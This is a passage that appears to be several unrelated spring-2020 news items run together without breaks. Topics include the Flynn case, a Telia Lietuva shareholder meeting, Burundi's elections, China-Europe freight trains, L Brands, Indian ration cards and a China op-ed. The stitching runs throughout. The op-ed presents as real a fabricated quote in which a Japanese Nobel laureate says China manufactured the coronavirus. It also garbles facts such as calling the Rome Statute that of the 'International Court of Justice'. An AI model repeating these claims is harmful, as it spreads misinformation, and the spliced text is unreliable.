sick to keep everybody happy. Staff photographer Tim Tai contributed to this article. Michael Flynn (C), former national security adviser to President Donald Trump, flanked by lawyers from Covington & Burling, arrives at the E. Barrett Prettyman Federal Courthouse for a status hearing in Washington, on July 10, 2018. (Mark Wilson/Getty Images) Flynns Former Lawyers Find Thousands More Documents, Judge Orders Them to Search Again Former lawyers of Lt. Gen. Michael Flynn say theyve found thousands of additional documents related to his case that hadnt been handed over to his new lawyers. In response, the judge presiding over the case has ordered the former lawyers to redo the search for everything they have related to the case. Flynn, former head of the Defense Intelligence Agency and former national security adviser to President Donald Trump, pleaded guilty on Dec. 1, 2017, to one count of lying to FBI agents. In 2019, he fired his previous lawyers from Covington & Burling and hired a team led by former Texas prosecutor Sidney Powell. In recent months, hes accused his former lawyers of ineffective counsel and asked District Judge Emmet Sullivan to allow him to withdraw his plea. Covington lawyers informed the court on April 8 that they found additional documents and were transferring them to the defense. The documents included emails that were not transferred to successor counsel last year due to errors in the process of collecting and searching electronic materials, as well as two pages of handwritten notes that inadvertently were not transferred, they said in an April 28 filing (pdf). In the new filing, they specified that the emails consisted of about 6,800 documents and emails (including email attachments), though some of them may be duplicates of what was already handed over in 2019. The lawyers noted that the newly discovered materials comprised only about 1 percent of the more than 660,000 documents they gave the new lawyers. Covington determined that an unintentional miscommunication involving the firms information technology personnel caused the firm to search not all of the Flynn-related emails, but only a subset that they prepared in response to document requests in a related case with Flynns former business partner Bijan Rafiekian, the filing said. Covington shall re-execute a search of every document and communication pertaining to the firms representation of Mr. Flynn, Sullivan ordered on April 28. He gave the firm until noon on May 4 to file a notice of compliance with this Order. Powell said in an April 24 filing that Flynn was provided by the Department of Justice (DOJ) with new exculpatory evidence that proves he was deliberately set up and framed by corrupt agents at the top of the FBI. The evidence was filed under seal and thus isnt available to the public; Powell has asked Sullivan to unseal it. The documents were produced as a result of an ongoing review of the case by Jeffrey Jensen, U.S. attorney for the Eastern District of Missouri, who was directed in January to perform the review by Attorney General William Barr. Powell has stated for months that the case should be dismissed for government misconduct. She argues that the investigation of Flynn, officially for his supposed relationship with Russia, was a pretext to target Trump. Sullivan denied in December 2019 her request for a list of additional documents and for dismissal. New information, however, has been turning up in the case since then. Trump wrote on Twitter on March 15 that he was strongly considering a pardon for Flynn. The Annual General Meeting of Telia Lietuva, AB (hereinafter the Company or Telia Lietuva) shareholders was held on 28 April 2020. All shareholders that participated at the General Meeting voted in advance in writing by filling in General Voting Ballots. The Annual General Meeting of Telia Lietuva decided: - To approve the audited annual consolidated and separate financial statements of the Company for the year 2019. The consolidated annual report of the Company for the year 2019, prepared by the Company, assessed by the auditors and approved by the Board, was presented. - To allocate the Companys profit for the year: from the Companys distributable profit of EUR 140,080 thousand EUR 52,435 thousand for the payment of dividends for the year 2019, i.e. EUR 0.09 dividend per share, and carry forward to the next financial year an amount of EUR 87,645 thousand as retained earnings (undistributed profit). For two independent members to the Board Tomas Balzekas and Mindaugas Glodas as tantiems (annual payment) for the year 2019 to allocate in total an amount of EUR 31,280, or EUR 15,640 each. The Law on Companies of the Republic of Lithuania provides that dividends shall be paid to the shareholders who at the end of the tenth business day following the Annual General Meeting that adopts a decision on dividend payment (rights accounting day) will be on the Shareholders List of the Company, i.e. will be shareholders of Telia Lietuva, AB on 13 May 2020. Following the Law on Companies the Company should pay dividends within the one month following the day on which the decision on profit distribution was adopted. The Company plans to pay out dividends for the year 2019 on 26 May 2020. Following Lithuanian laws dividends paid to natural personsresidents of the Republic of Lithuania and natural personsresidents of foreign countries are subject to withholding Personal income tax of 15 per cent. Dividends paid to legal entities of the Republic of Lithuania and legal entitiesresidents of foreign countries are subject to withholding Corporate income tax of 15 per cent, unless otherwise provided for by the laws. Story continues - To elect UAB Deloitte Lietuva as the Companys audit enterprise to perform the audit of the annual consolidated and separate financial statements of the Company for the year 2020, and to assess the consolidated annual report of the Company for the year 2020. To authorize the CEO of the Company to prolong existing or conclude new agreement for audit services, establishing the payment for services as agreed between the parties but in any case not more than EUR 124,000 (VAT excluded) (one hundred twenty four thousand euro) for the audit of the Companys one financial year annual consolidated and separate financial statements and the assessment of the consolidated annual report. - To reorganize Telia Lietuva, AB and Telia Customer Service LT, AB pursuant to Part 3 of Article 2.97 of the Civil Code of the Republic of Lithuania by way of merging Telia Customer Services LT, AB (registration number 110401957, office Vytenio str. 18, Vilnius, Lithuania; reorganised company), which, after the reorganization, will cease its activities as a legal entity, into Telia Lietuva, AB (registration number 121215434, office at Saltoniskiu str. 7A, Vilnius, Lithuania; a company participating in the reorganisation), which, after the reorganization, will continue its activities and activities of Telia Customer Service LT, AB and which will take over all the assets, rights and obligations of Telia Customer Service LT, AB after the reorganization, according to the Terms of Merger approved by the General Meeting. - To approve the new edition of the By-laws of Telia Lietuva, AB as those of the enterprise that continues its business activities after the reorganization of Telia Lietuva, AB and Telia Customer Service LT, AB. To authorize the CEO of the Company (with a right to re-authorize) to sign new edition of the By-laws of the Company. - To approve Remuneration Policy for CEO and members of the Board of Telia Lietuva, AB. - To authorise the CEO of the Company to implement all above mentioned decisions, sign all the related documents and conclude all the transactions required for the implementation of the aforementioned decisions. The CEO of the Company shall be entitled to authorise any other person to perform the aforementioned actions and to sign the aforementioned documents. ENCL.: - Telia Lietuva, AB Consolidated and Separate Financial Statements, Consolidated Annual Report and Independent Auditors Report for the year ended 31 December 2019. - Profit allocation for the year 2019. - Terms of Merger of Telia Lietuva, AB and Telia Customer Service, AB. - By-laws of Telia Lietuva, AB. - Remuneration Policy for CEO and members of the Board of Telia Lietuva, AB. Darius Dziaugys, Head of Investor Relations, tel. +370 5 236 7878, e-mail: darius.dziaugys@telia.lt Attachments Election campaigning is underway in Burundi, beginning the process to choose a new president, parliamentarians and local officials. The elections are set to find a replacement for incumbent Pierre Nkurunziza. But campaigning starts as coronavirus cases are on the rise, with rights groups expressing concern about a clampdown on political opposition. Thousands of supporters of the ruling CNDD-FDD party gathered for a rally in Bugendana, Gitega province in central Burundi to launch their election campaign. Party supporters wore shirts emblazoned with the face of Evariste Ndayishimiye, the CNDD-FDD flagbearer. Incumbent President Nkurunziza and Ndayishimiye sat side-by-side, as party members, foreign officials and the clergy watched supporters waving red, green and white flags featuring the black eagle mascot of the ruling party. Together we are possible, read Ndayishimiye's election slogan in Kirundi. Burundi's 17 May election will take place despite the continuing spread of Covid-19 and is in contrast with measures put in place by neighbouring countries to contain the disease. Rwandan authorities have implemented a coronavirus lockdown requiring citizens to request permission for movement and made facemasks obligatory in public. Tanzania's government has closed schools, quarantined visitors from abroad and banned public events, but stopped short of locking down the main city Dar es Salaam. Burundi has 15 confirmed cases of Covid-19, according to the Africa Centres for Disease Control and Prevention, and the health ministry announced three new cases on Saturday. But the authorities are not actively promoting social distancing, as evidenced by the rally launching the ruling party's election campaign. The government already ruled out delaying the polls over the pandemic with First Vice President Gaston Sindimwo telling local media that perhaps social media and audio-visual displays can be used instead of holding large rallies. Earlier this month, journalists from certain media houses were prevented from attending a press conference by the health ministry about coronavirus. 'Tension, confusion, fear' Human rights groups sounded the alarm over allegations of repression ahead of the elections, crackdowns on members of the opposition and the targeting of independent members of civil society. The environment in Burundi is not good because there's a feeling of tension, confusion and fear amongst the population, Vital Nshimirimana of the Forum for the Strengthening of Civil Society (FORSC Burundi) told RFI. Rights abuses over recent weeks include arbitrary arrests, killings, abductions, and destruction of property targeting the opposition CNL party, according to Nshimirimana, who lives in exile. FORSC Burundi operates a network of human rights monitors in the country and publish regular reports. There is a media blackout - independent media was destroyed and banned, said Nshimirimana. Civil society organisations who had played a tremendous role in monitoring elections previously are now either deregistered or banned, he added. US-based Human Rights Watch echoed Nshimirimana's comments in a statement published on Monday, highlighting a clampdown, impunity for the security forces and actions of the Imbonerakure, the ruling party's youth wing, which the UN has described as a militia. There is little doubt that these elections will be accompanied by more abuses, as Burundian officials and members of the Imbonerakure are using violence with near-total impunity to allow the ruling party to entrench its hold on power, said Lewis Mudge, Central Africa director at Human Rights Watch. Burundi was thrown into crisis in 2015 over controversy surrounding a third term for President Nkurunziza. The authorities repressed protests and demonstrations, leading to a coup attempt by a faction of the military. The UN established an investigation into violations and abuses of human rights possibly amounting to crimes against humanity. Ndayishimiye's election a fait accompli? The 2020 elections in May will nevertheless bring to an end Nkurunziza's rule and are unlikely to see a repeat of events ahead of the incumbent's third term. Due the level of repression following demonstrations against the third mandate in 2015, it is very unlikely, said Burundi researcher Astrid Jamar at The Open University. Ndayishimiye joined the CNDD-FDD when it was a rebel group during the country's civil war, leaving his law studies at university, according to a portrait of the ruling party's candidate by the Burundi Human Rights Initiative (BHRI). He rose through the ranks of the rebel movement and took part in the commission establishing the Arusha peace agreement that brought an end to the war. Later he held top positions in government acting as the minister of interior and public security and presidential advisor. Ndayishimiye was appointed secretary general of the CNDD-FDD in August 2016. During the crisis in 2015 he reinforced his standing in the party, according to BHRI. He is seen as the favoured candidate of the so-called generals within the CNDD-FDD, but has said he will continue to imitate Nkurunziza. The ruling party's flagbearer is a shoo-in to replace Nkurunziza, according to central Africa expert Thierry Vircoulon, judging Burundi's May elections a masquerade. It's understood by the opposition that the winner of the polls is already known it's the candidate of the CNDD-FDD," Vircoulon told RFI's Service Afrique. There's nothing at stake. The opposition running in this election essentially plays a role - making the regime look good democratically and for them the prize is to extract some parliamentary seats, added Vircoulon, who works at Ifri, the French Institute of International Relations. Seven candidates will contest the polls on 17 May. Over the next three weeks of campaigning, candidates and their parties must limit themselves to events held between 6:00 and 18:00 each day, according to the electoral commission. Here are todays top headlines. The virus hunters who search bat caves to predict the next pandemic Before entering the cave, the small team of scientists pull on hazmat suits, face masks and thick gloves to cover every inch of their skin. Contact with bat droppings or urine could expose them to some of the worlds deadliest unknown viruses. New Zealand claims elimination of coronavirus with new cases in single digits New Zealand claimed Monday it had eliminated the coronavirus as the country announced the easing of restrictions from level four to level three, with new cases in single figures. From private testing for the rich to unrest in banlieues, coronavirus is highlighting Frances stark divide While billionaires isolate themselves at luxurious hideaways on the Mediterranean during the coronavirus outbreak, residents in deprived and crowded areas of France are now facing a surge in deaths, along with unrest on the streets. People crowd Southern California beaches despite coronavirus concerns Seeking relief from a heat wave, thousands of people crowded beaches in Southern California this weekend amid the coronavirus pandemic, despite a statewide stay-at-home order implemented by the governor last month. SpaceX Starship SN4 passes key test, Elon Musk says A prototype of a SpaceX ship the Starship SN4 meant to one day take humans to the moon and Mars has passed a key test. What you need to know about coronavirus on Sunday, April 26 The World Health Organization has warned against the idea that coronavirus immunity passports can provide a safe way out of lockdown. Social distancing in 100 square feet: Hong Kongs cage homes are impossible to self-isolate in Before the pandemic, Lum Chai used to go to the park and drink beers with friends to escape his tiny living quarters. Now the 45-year-old walks the citys streets alone to kill time and keep away from his neighbors. Actor Dimitri Diatchenko of Sons of Anarchy dies at 52 Actor Dimitri Diatchenko, best known as Uri on Chernobyl Diaries, was found dead in his home in Daytona Beach, Florida, police say. Kanye West is finally a billionaire, Forbes says. He texted the magazine to say hes worth more Kanye West has long coveted the title of billionaire. Coronavirus: Boris Johnson urges UK to stick with lockdown BBC News Maddy Savage BBC News, Stockholm Five bars and restaurants in Stockholm have been closed by the city council after failing inspections on coronavirus safety. The inspections took place following concerns that some venues werent doing enough to encourage social-distancing between customers. More than a dozen other venues were given a warning by inspectors over the weekend. Spains children run free again For the first time in six weeks, the countrys children have been allowed outside to exercise and play. Italys PM outlines lockdown easing measures Italys Prime Minister Giuseppe Conte has given a televised address outlining how the country will begin easing its coronavirus lockdown. Restrictions will start to be eased from 4 May, he said, and people will be allowed to visit their relatives in small numbers, wearing masks. Coronavirus currently eliminated in New Zealand New Zealand says it has stopped community transmission of Covid-19, effectively eliminating the virus. With new cases in single figures for several days one on Sunday Prime Minister Jacinda Ardern said the virus was currently eliminated. But officials have warned against complacency, saying it does not mean a total end to new coronavirus cases. 1970 FA Cup final: The most brutal game in English football history Eddie Gray collects the ball in the centre circle and immediately sets his sights on Chelseas goal. But David Webb has other ideas. Fuelled by fresh memories of his roasting at the hands of the Leeds winger a couple of weeks prior, the defender hits him, both feet off the ground, no prisoners. WhatsApps anti-viral content measures are working A few weeks ago, WhatsApp limited the way viral messages can spread on its network in order to fight misinformation. Now, the company says the measures are working. We recently introduced a limit to sharing highly forwarded messages to just one chat. We regret to inform you that people are stanning Kim Jong-Uns sister Maybe its that weve all been in quarantine for too long and some people have nothing better to do, or maybe its that she would be the worlds first known female dictator. More likely, its that the internet is notorious for sexualizing everything and anything possible. Brad Pitt as Dr. Fauci on SNL reminds viewers not to inject bleach Hey, America! Dr. Fauci knows you have a little crush on him. So who better to portray the doctor on Saturday Night Live this week than collective crush of the 90s, Brad Pitt? The deeply random casting likely came about because a few weeks ago, Dr. Fauci jokingly said hed like the famously handsome star to portray him on the program. Scientists discover new species of turtle that looks like a muddy rock Finally, some good news: A new turtle species has been discovered. Scientist and professor Dr. Uwe Fritz of the Senckenberg Natural History Collections in Dresden, Germany and his international team have identified a new type of fringed turtle, also called matamata. China-Europe freight trains witnessed growth in both the number of trips made and cargo volume in the first quarter this year, serving as an effective logistics channel stabilizing international supply chain, facilitating international cooperation, and expediting the transportation of preventative materials amid COVID-19. A China-Europe freight train carrying electronic and machinery products departs from the international railway port of Chengdu, southwest Chinas Sichuan province, March 27, 2020. Photo by Bai Guibin, Peoples Daily Online They sent a total of 1,440 tons of epidemic containment materials to Poland, Spain, Lithuania and other European destinations which served as transfer stations and distributed the supplies further afield. On April 23, a 50-container China-Europe freight train arrived in Poland, carrying 350 tons of masks, protective suits, as well as commodities such as accessories, garments, shoes and hats. The China-Europe freight trains not only brought preventative and productive materials to Europe amid the COVID-19 pandemic, but also injected confidence in local enterprises, said Philip Grzelak, CEO of Hatrans Logistics, the operator of the freight service in Poland. The production of many Polish enterprises relied on the spare parts sent by the China-Europe freight trains, said Grzelak, adding that the freight service was the only available logistics channel during the coronavirus outbreak as most of the major transportation routes were forced to suspend service. He believes that Poland and Europe can maintain stable economic and trade ties with China through the China-Europe freight rail. The advantages of the service are more conspicuous given the spread of the virus, and its hoped that more Polish and European products can reach China through the service, the CEO told Peoples Daily, saying the rail link will play a unique role in the recovery of Eurasian economy. According to statistics, 96 trips had been made to Europe by the service between Jan. 1 and April 4 from Yiwu in east Chinas Zhejiang province, known for its small commodity trade and vibrant market, sending a total of 8,114 standard containers, up 70.2 percent from a year ago. The robust growth achieved amid the pandemic in Q1 indicated the rapid recovery of Chinese economy, which is of great significance for stabilizing global logistics chain, promoting cross-border circulation of goods and services, and revitalizing the confidence for international trade development, said Grzelak. A China-Europe freight train carrying medical supplies and small commodities donated by enterprises in Yiwu, east Chinas Zhejiang province departs from Yiwu West Railway Station for Spain. Photo by Qian Xusheng, Peoples Daily Online On April 12, Lithuanias capital Vilnius received the first China-Europe freight train carrying postal parcels. The train, departing from Chinas Chongqing municipality, took 260 tons of mails and medical supplies. Minister of Transport and Communications of Lithuania Jaroslav Narkevic remarked that the arriving postal train from China brought medical materials that were in dire need in Europe, and opened a new, stable and effective logistics channel. The service is expected to inject new energy into China-Europe relations, he added. YUXINOU (ChongQing) Logistics Co., LTD, the operator of the freight service in Chongqing, said its service plan of May will be made in advance, and the company is planning to expand the daily volume to Europe by 50 tons. On April 6, a China-Europe freight train arrived in Madrid, Spain from Yiwu after a 16-day trip stretching 13,052 kilometers. Apart from routine cargos such as auto parts and small commodities, it also carried medical supplies donated by China to the Spanish government. The Spanish branch of the YXE Trading Service Group, the operator of the rail line, will offer free international rail transportation and relevant services for all medical donations to Spain from organizations, overseas Chinese groups and individuals, so as to assist the concerted efforts to defeat the COVID-19 pandemic, said Carlos Santana, general manager of the YXEs Spanish branch. He believes it bears huge significance to have a reliable international trade and logistics channel when global transportation is under impacts. At present, European countries are seeing huge demand for medical materials, and the China-Europe freight trains serve as a reliable, stable and effective solution. Santana noted that the operation of the service plays a vital role in the recovery of Spains economy. He said his company receives a large number of phone calls from the customers everyday asking to import commodities and supplies from China via the service so as to maintain the stability of the supply chain and the operation of enterprises. Besides, many of them are hoping to continue to expand export to China through the service, he added. Santana expressed sincere gratitude to China for the countrys generous help to Spain amid the pandemic, saying the China-Europe freight trains are a bridge of the friendship between the two countries. He told Peoples Daily that the fragmented transportation adopted by the service which frees logistics personnel from quarantine inspection, has become an important method to guarantee the trade between China and Europe, as well as to ensure the joint efforts maintaining unimpeded channel of medical supplies in amidst of the COVID-19 outbreak. The situation is once again looking grim for L Brands (NYSE:BBWI). After reaching a deal in February to sell 55% of Victoria's Secret to private equity firm Sycamore Partners, news came out last week that Sycamore wants to end the agreement. Investors had been counting on the $525 million deal to help drive recovery of the multi-brand retailer. On April 22, Sycamore Partners filed a lawsuit in Delaware seeking a declaratory judgment that its move to end the Victoria's Secret agreement with L Brands is valid. According to press reports, Sycamore says store closures and a halt to rent payments in April related to the coronavirus pandemic breach terms of the deal. L Brands said it would fight the lawsuit, enforce its contractual rights, and work to close the planned transaction. If Sycamore succeeds in ending the agreement, the questions surrounding L Brands may be more about survival than recovery. Let's take a closer look at why this is such big trouble for L Brands. A struggling brand hit hard by the coronavirus fallout Victoria's Secret, once a star in the world of lingerie, has grappled with declining sales in recent years as a new generation of shoppers turned away from the glamorous image and opted for alternative brands that focused more on comfort and emphasized inclusivity in their marketing. For 2019, L Brands reported impairment charges of more than $725 million linked to Victoria's Secret goodwill and assets. The brand's North America sales dropped 8% to $6.8 billion, and it recorded an operating loss of $616 million. The bright spot for L Brands has been its bath and skincare products chain. Bath & Body Works reported record results in 2019, with sales climbing 12% to $5.2 billion and operating income increasing 11%. Still, Victoria's Secret's troubles have hurt overall earnings at L Brands. The company posted a net loss last year, compared with a profit a year earlier, and operating income sank to $258 million from more than $1.2 billion. According to the sales agreement, L Brands would retain 45% percent of Victoria's Secret and use proceeds from the deal to pay down debt. The idea was for Sycamore to turn things around at Victoria's Secret, so that L Brands could focus on recovery and maintaining momentum at Bath & Body Works. Before the transaction could move forward, the coronavirus outbreak hit. In recent weeks, L Brands has temporarily closed stores in the U.S. and Canada, drawn down $950 million from its revolving credit facility, suspended its quarterly dividend, cut pay for senior vice presidents, and furloughed workers. The company said it has sufficient current liquidity, with more than $2 billion in cash. According to court filings, the deal did have provisions that allow for the possibility of an event like the pandemic to trigger a material adverse effect clause. Wording like this is typically included in deals to allow a buyer the chance to renegotiate if extraordinary events have a financial impact on the business up for sale. So the deal is likely to be different even if Sycamore is required to go through with it. What does all of this mean for L Brands' recovery? Even if the deal with Sycamore was completed, I wasn't bullish on L Brands or the potential for buying its stock. Without Victoria's Secret, L Brands is really just Bath & Body Works. Though growth has been strong at the soap and skincare products retailer, I'm not convinced it is enough to drive solid, long-term growth. That said, the brand sale scenario was better than the previous situation. If and when this coronavirus pandemic finally runs its course, L Brands will exit the crisis with a weakened financial situation. There are going to be significant lost sales, rising inventory levels, and costs related to store shutdowns. Add to that the cost and complexity of a legal battle with Sycamore and the financial picture is dim. If Sycamore prevails, the presence of Victoria's Secret would make a possible recovery much more difficult and expensive. And the chances of finding another buyer for a struggling retail chain seem unlikely in the current environment. Shares in this consumer discretionary retailer have lost about 50% of their value since their peak shortly after the Sycamore deal was announced. Considering the current news, I wouldn't buy them right now at any price. "I appreciate that the state wanted to act fast, but this absolutely could have been done in a transparent way with regard to taxpayer dollars," Hunt said. "This is an irresponsible solution. It's convenient for several private Utah-based corporations. And it's coming a bit late." Sen. Machaela Cavanaugh, also of Omaha and a member of the Legislature's Health and Human Services Committee, said she is concerned what will happen to the data provided by Nebraskans, adding it could be sold for profit rather than retained by the state to improve health outcomes. A service agreement on Domo's website says the company has license to use aggregate, unidentifiable data to improve its products and services, as well as develop, display and distribute benchmarks and reports, which Hunt and Cavanaugh said could allow Nomi Health to provide aggregate information to insurance or pharmaceutical companies. The concerns over how the data could be shared were raised by a professor at the University of Utah, who told the Salt Lake Tribune last week the data collected in the Test Utah program "could ultimately be far more valuable than the money the state is paying to implement those programs." The rise of modern China is more due to Deng Hsiao Ping who suffered during the Cultural Revolution by Kazi Anwarul Masud A Nobel Prize laureate Japanese Doctor of Medicine accused China of creating coronavirus. He alleged quote Based on all my knowledge and research till date, I can say with 100% confidence that Corona is not natural. It has not come from bats. China has manufactured it. If what I am saying today is proved false now or even after my death, the government can withdraw my Nobel Prize. But China is lying and this truth will one day be revealed to everyone. Unquote. (https://en.m.wikipedia.org/wiki/Tasuku_Honjo). The allegations are very serious to say the least. Earlier the state of Missouri had filed a case against China of non-transparency in making public all the facts relating to the failure that happened in Wuhan Laboratory. Since most of the establishments in China are state owned it is presumed that the answer to the questions raised would rest with the Chinese government. It appears from the above that from Asia Pacific region the following countries had acceded to the Rome Statute on International Court of Justice: 1. Fiji, 29 November 1999 2. Tajikistan, 05 May 2000 3. Marshall Islands, 07 December 2000 4. Nauru, 12 November 2001 5. Cyprus, 07 March 2002 6. Cambodia, 11 April 2002 7. Jordan, 11 April 2002 8. Mongolia, 11 April 2002 9. Timor-Leste, 06 September 2002 10. Samoa, 16 September 2002 11. Republic of Korea, 13 November 2002 12. Afghanistan, 10 February 2003 13. Japan, 17 July 2007 14. Cook Islands, 18 July 2008 15. Bangladesh, 23 March 2010 16. Maldives, 21 September 2011 17. Vanuatu, 02 December 2011 18. State of Palestine, 02 January 2015 19. Kiribati, 26 November 2019 And China is not one among them. It is therefore not certain whether China can be made answerable to the charges levied against it. No less important is the geopolitical question as to whether the world can live with an isolated China which is the second largest economy in the world. In this age of globalization China accounts for considerable amounts of global GDP and is the source of raw materials and finished goods traded around the world. China's GDP growth rate has been reducing gradually since 2007 when it was 14.2% It dropped to 10.6% by 2010, 6.9% by 2015 and 6.1% for this year. If one looks at the above figures, one will notice that the GDP growth is reducing at a much slower rate now. Between 2007 and 2010 it dropped from 14.2 to 10.6 (3.6% in 3 years or 1.2% per year). Between 2010 and 2015, it dropped from 10.6 to 6.9 (3.7% in 5 years or 0.74% per year). Between 2015 and 2019 it only dropped from 6.9 to 6.1 (0.8% in 4 years or 0.2% per year). It is not easy to maintain a high growth rate when the GDP is high. Most countries with high GDP are growing at much lower rates. For example, the US is growing at 2.4%, Japan at 0.9%, Germany at 0.5% and UK at 1.2%. (Source: https://www.imf.org/external/dat). From a geopolitical standpoint China stands tall. Pre-coronavirus period China was the most trusted nation in the world. Despite the autocratic rule Xi Jinxing kept a strangled on China. After taking power in 2012 Xi Jinxing asked his colleagues about the fall of the USSR. His answer was One of the main reasons is that the ideological struggle was intense, that the history of the USSR and of the [Communist Party of the Soviet Union] had been completely denied, that Lenin had been rejected, as was Stalin, and that historical nihilism had run its course. Ideological confusion was everywhere. Almost no Party organ on any level had been of any use. The army wasnt under the control of the Party. Finally, the Communist Party of the Soviet Union, which was nevertheless a great party, was dissolved like a flock of sparrows. The Soviet Union, which had been a great socialist country, collapsed. This is the lesson we must learn from the errors of the past. (Chinas Coronavirus Outbreak Exposes the Limits of Xis Centralized Power World Press Review). Is Xi Jinpin correct in his assessment of the demise of the USSR? Was not there other factors that played in this unique episode of the twentieth century? Had force been the only safeguard of the dictators the many would have survived. Algerias Abdul Aziz Bouteflica had to resign his decades long hold on power due to popular uprising. In this litany of dictators one could hardly forget Zimbabwes Robert Mugabe who became President in 1980 after gaining independence. In 2013 July - Presidential and parliamentary elections. Robert Mugabe gained a seventh term in office and his Zanu-PF party three-quarters of the seats in parliament. The opposition party dismissed the polls as a fraud. In 2017 Mugabe resigned after army seized control. Xi Jinpin was also obsessed with Nikita Khrushchevs 1965 speech in which Khrushchev criticized Stalin which Xi Jinpin thought opened the floodgate of destructive policies, which eventually included the introduction of a multi-party system, the authorization of NGOs, the liberalization of the media, the abandonment of control over the means of production, the privatization of public industries, and severing the link between the Party and the army. Regardless of the convictions of the autocrats and their sycophants Charles Kidelbergers trickle down theory do not have wide acceptance to the newly liberalized middle class with newly found wealth who disagree with the concept that they are doomed to live an existence of pittance thrown down by the lucky 1% or 10% as the case may be. With more disposable income the middle class want their future generations to have more opportunities than they had and the opportunity to have a voice in choosing their politico-economic leaders. This is the quintessential difference between India and China. In India the political leaders appeal to the electorate while in China the political leaders instruct the populace. At the first glance Chinas authoritarian rule began with the 1949 revolution of Mao se Dung. It was perhaps first popular uprising after the Bolshevik Revolution of Vladimir Lenin. Both owe their allegiance to Karl Marks and Friedrich Engelsian philosophy. Both focus on a proletariat revolution that would change the society. Yet while Marxism focuses on the urban workers Maoism focuses on the peasant or farming population. Marxism believes in an economically strong state that is industrialized. Maoism does not give value to industrialization or technology. Maoism believe that industrialization would provide further means to owners to exploit people further. That way, industrialization is believed as a means of weakening the proletariat revolution. Marxism value industrial product and Maoism value agricultural product. Marxism believe that everything that happens in a society is linked to the economy. This include how humans behave and the way human nature change. Maoism believe everything that happens in a society is a result of human will. Despite the seeming differences both the ideologies left their imprint in the evolution of society albeit through violent means. The rise of modern China is more due to Deng Hsiao Ping who suffered during the Cultural Revolution (his son was thrown down from the first floor of a building and consequently became lame for life). We are still far from answering the question of Chinas alleged involvement in spreading the coronavirus. Japanese Nobel Laureate has no doubt in his mind. But the interdependent world is not linear There are bumps on the way to recovery. The relaxation one sees in some countries are due to start a movement in an otherwise rock solid position. Noted foreign affairs expert Richard Hass recently observing the impact of the coronavirus on the political narrative in the West said: We may well be moving toward a new paradigm in the West, one of a larger govt role in the economy, the result of a need for stimulus, relief to firms & workers, growing inequality & an inadequate safety net, & the rise of progressivism & the collapse of traditional conservatism. Looking through the fog the people can only hope for the best and hope to avoid the spectacle of a Third World War that could end the million years journey of humanity to a bitter end. ( The writer is Former Secretary & Ambassador, Bangladesh) BERNARDSTON A Depot Street resident, illegally burning construction debris Sunday night, a sparked a fire that destroyed his barn, Fire Chief Peter Shedd said. The fire at 32 Depot St. was reported about 5 p.m. The homeowner, another resident and their two cats and two dogs were unharmed, the Recorder reported. Shedd told the Recorder the resident admitted to burning the debris too close to the two-story barn, which was attached to the home. The fire chief said the resident had been illegally burning construction debris following home renovations. Damage to the home was minimal and the residents stayed there Sunday night, Shedd said. The cause of the fire is still under investigation. Firefighters from South Deerfield, Northfield, Greenfield and Turners Falls provided mutual aid, according to a post on the departments Facebook page. Firefighters from Gill and Guildord, Vermont covered the station. The post-Covid-19 lockdown has sparked a renewed scramble for ration cards under the National Food Security Act (NFSA), which entitles poor households to subsidised foodgrains from government-run fair price shops, according to multiple officials in state governments. The demand for ration cards hints at a perception among people that normality will not be restored anytime soon and a shortage of essential may be looming as a hard lockdown, confining residents indoors and shutting commercial establishments, is expected to stay in place beyond May 3 in 300 districts affected by the pandemic. A partial lockdown may continue in other districts. NFSA covers 75% of the population in rural areas and 50% in urban areas. Food right activists claim that the new rush of applications for ration cards shows that many poor households, especially the families of migrant workers, have been left out. The only way to ensure every poor {household} gets rations is by universalizing the Public Distribution System. The states should ensure that every family gets access to rations, said Reetika Khera, a professor of development economics at the Indian Institute of Technology-Delhi and a food rights activist. According to data provided by the state governments, the demand for new ration cards is particularly high in the poorer states such as Odisha, West Bengal, Rajasthan, Jharkhand, Bihar and Uttar Pradesh, where up to 90% of the population in rural areas is already covered under NFSA. Odisha has received applications for 500,000 new ration cards in addition to 32.6 million cards already issued. Some 100,00 cards have been issued and the remaining would be issued in the next two months under the state governments food scheme, said MQ Haque, additional secretary in the food supplies and consumer welfare department. No one will go hungry in Odisha and we are working towards that, said Haque. The Rajasthan government has decided to give rations to 9 million people not having ration cards under the NFSA. These are the people who are demanding PDS rations; now ,even though they are not NFSA beneficiaries, we have decided to give them grains, said Siddharth Mahajan, food secretary, Rajasthan. Around 44.6 million people are beneficiaries of the NFSA in Rajasthan. The West Bengal government has issued food coupons to 500,000 families that applied for ration cards, entitling them to access fair price shops, according to food and supplies minister, Jyotipriyo Mullick. The state has 56.5 million NFSA beneficiaries. Uttar Pradesh has issued 323,000 new ration cards in addition to 34 million cards already issued under NFSA. In Jharkhand, 697,000 new applications for ration cards are pending. In the lockdown period, we have decided to give 10 kg rations at Rs 1 per kilogram to applicants of new ration cards, said Sanjay Kumar, Jharhands food director. Madhya Pradeshs food secretary, Shivshekhar Shukla said about 3.2 million people, who dont have ration cards, are being given five kg of rations - 4 kg of wheat and 1 kg of rice -- free in April. MP has 11.6 million beneficiaries under the NFSA. Shukla said processing the new ration card applications will take time. Andhra Pradesh state civil supplies commissioner Kona Sasidhar said as many as 95,000 people had applied for new ration cards this year. Of them, after verification, 81,000 have been approved. Officials in Telangana said no new application for ration cards had been received. Karnataka has decided to give rations to every family which has applied for new ration cards, said Vijay Kumar, joint director of Karnatakas procurement and food department. Even in affluent Punjab, applications have been received for 320,000 ration cards. Punjab has 14.1 million beneficiaries under the NFSA. The neighbouring food bowl state of Haryana has received around 250,000 new applications for ration cards. Some state government officials say they were willing to provide rations even to non-NFSA beneficiaries provided the Centre increases the allocation of foodgrains. Since the central government is not allocating food for such additional people, we are having problem in giving rations to them, said an official of the MP food department, who requested anonymity. Chhattisgarh chief minister Bhupesh Baghel has already written to the Centre asking it to provide rations on demand during the lockdown period and not in line with the state-wise quota fixed by the Centre. NINGHAI, CHINA / ACCESSWIRE / April 28, 2020 / Risen Energy (Stock Code: 300118, SZ)'s Global Marketing Director, Leon Chuang, was invited to attend the 2020 BIPV Cloud Seminar and delivered a keynote speech entitled "Introduction of PV Roof's BIPV sample projects in Risen Energy's Changzhou Plant ". In recent years, BIPV, as an emerging photovoltaic application industry, has attracted much attention around the world. More and more companies in the construction industry and PV industry are researching and working in the BIPV business. As one of the earliest domestic enterprises engaged in photovoltaic power business, Risen Energy is actively engaging in the BIPV area and is investing in the training of BIPV-related technologies. At this seminar, Leon Chuang, Global Marketing Director of Risen Energy, gave a detailed introduction of Risen Energy's PV roof BIPV projects in Changzhou. Leon Chuang provided updates, including that the company's 2.05MW BIPV project in Changzhou has passed grid acceptance and has started to generate 